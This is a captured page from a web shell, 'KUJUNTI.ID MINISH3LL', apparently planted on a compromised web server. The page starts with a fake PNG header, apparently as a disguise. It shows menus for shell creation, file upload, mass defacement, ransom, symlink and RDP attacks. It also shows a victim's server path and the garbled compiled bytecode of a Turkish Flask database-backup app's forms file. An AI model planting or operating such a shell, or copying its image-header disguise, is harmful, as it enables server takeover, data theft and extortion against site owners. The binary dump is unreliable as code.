\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/forms.cpython-310.pyc


o

�-�gT�@s�ddlmZddlmZmZmZmZmZmZm	Z	m
Z
ddlmZm
Z
mZmZmZmZmZddlmZGdd�de�ZGdd�de�ZGd	d
�d
e�ZGdd�de�ZGd
d�de�ZGdd�de�ZdS)�)�	FlaskForm)�StringField�IntegerField�SelectField�
PasswordField�BooleanField�
RadioField�
EmailField�SubmitField)�DataRequired�NumberRange�Optional�Length�Email�ValidationError�EqualTo)�Userc@s�eZdZdZede�edd�gd�Zedgd�e�gd�Z	ed	e�ed
d�gd�Z
ede�edd
d�gd�Z
ede�edd�gd�Zede�ed
d�gd�Zede�edd�gd�ZdS)�DatabaseConnectionFormz+Form for database connection configuration.uBağlantı Adı�@��max��
validatorsuVeritabanı Tipi))�mysql�MySQL)�mariadb�MariaDB)�
postgresql�
PostgreSQL��choicesr�Sunucu��Port����minr�Kullanıcı Adı�ŞifreuVeritabanı AdıN)�__name__�
__module__�__qualname__�__doc__rrr�namer�db_type�hostrr�port�usernamer�password�database�r5r5�7/var/www/html/yedekledb24/DatabaseBackupMaster/forms.pyrs
�rc@s�eZdZdZede�edd�gd�Zedgd�e�gd�Z	ed	e�ed
d�gd�Z
ede�e
dd
d�gd�Zede�edd�gd�Zede�ed
d�gd�Zede�edd�gd�ZdS)�StorageTargetFormz&Form for storage target configuration.u
Depolama Adırrrz
Depolama Tipi))�smbuSMB/CIFS (Windows Paylaşımı))�nfs�NFS)�ftp�FTP)�sftpzSFTP (SSH File Transfer)rr!r"r#r$r%r&r(r)uYol/Paylaşım�N)r*r+r,r-rrrr.r�storage_typer0rr
rr1r2rr3�pathr5r5r5r6r7s
�r7c@s�eZdZdZede�edd�gd�Zede	e�gd�Z
ede	e�gd�Zed	gd
�e�gd�Zede�gd�Z
ed
e�edd�gd�Zeddd�ZdS)�
BackupJobFormz"Form for backup job configuration.uGörev AdırrruVeritabanı Bağlantısı)�coercerzDepolama HedefiuZamanlama Türü))�dailyuGünlük)�weeklyu	Haftalık)�monthlyuAylık)�customuÖzel Cron İfadesiruZamanlama DeğeriuSaklama Süresi (Gün)r$�r'uEtkinleştirildiT��defaultN)r*r+r,r-rrrr.r�int�database_id�
storage_id�
schedule_type�schedule_valuerr�retention_daysr�enabledr5r5r5r6rA#s
�rAc@s@eZdZdZede�gd�Zede�gd�Ze	d�Z
ed�ZdS)�	LoginFormzForm for user login.r(rr)u
Beni Hatırlau
Giriş YapN)
r*r+r,r-rrr2rr3r�remember_mer
�submitr5r5r5r6rQ3srQc@s�eZdZdZede�eddd�gd�Zede�e	�edd	�gd�Z
ed
e�edd�gd�Zed
e�e
ddd�gd�Zeddd�Zed�Zdd�Zdd�ZdS)�RegistrationFormzForm for user registration.r(�rr&rr�xrr)�rGuŞifreyi Tekrarlar3uŞifreler eşleşmiyor.)�messagez
Admin YetkisiFrHu	Kayıt OlcC�(tjj|jd���}|durtd��dS)z-Validate that username doesn't already exist.)r2NuJBu kullanıcı adı zaten kullanılıyor. Lütfen farklı bir tane seçin.�r�query�	filter_by�data�firstr)�selfr2�userr5r5r6�validate_usernameD��z"RegistrationForm.validate_usernamecCrY)z*Validate that email doesn't already exist.)�emailNuEBu email adresi zaten kullanılıyor. Lütfen farklı bir tane girin.rZ)r_rcr`r5r5r6�validate_emailJrbzRegistrationForm.validate_emailN)r*r+r,r-rrrr2r	rrcrr3r�	password2r�is_adminr
rSrardr5r5r5r6rT;srTc@s�eZdZdZede�edd�gd�Zede�edd�gd�Ze	de�edd�gd�Z
ede�e�edd�gd�Z
ed	d
dgde�gd
�Zede�edd�gdd�ZdS)�SmtpSettingsFormz)Form for configuring SMTP email settings.zSMTP Serverr"rrz
SMTP Usernamez
SMTP PasswordzSender EmailzConnection Type)�tlszTLS (Port 587))�sslzSSL (Port 465)rh)r rIrzNotification Recipientsr>zGComma-separated list of email addresses to receive backup notifications)r�descriptionN)r*r+r,r-rrr�mail_server�
mail_usernamer�
mail_passwordr	r�mail_default_senderr�mail_connection_type�notification_emailsr5r5r5r6rgQs ��
�rgN)�	flask_wtfr�wtformsrrrrrrr	r
�wtforms.validatorsrrr
rrrr�modelsrrr7rArQrTrgr5r5r5r6�<module>s($

© KUJUNTI.ID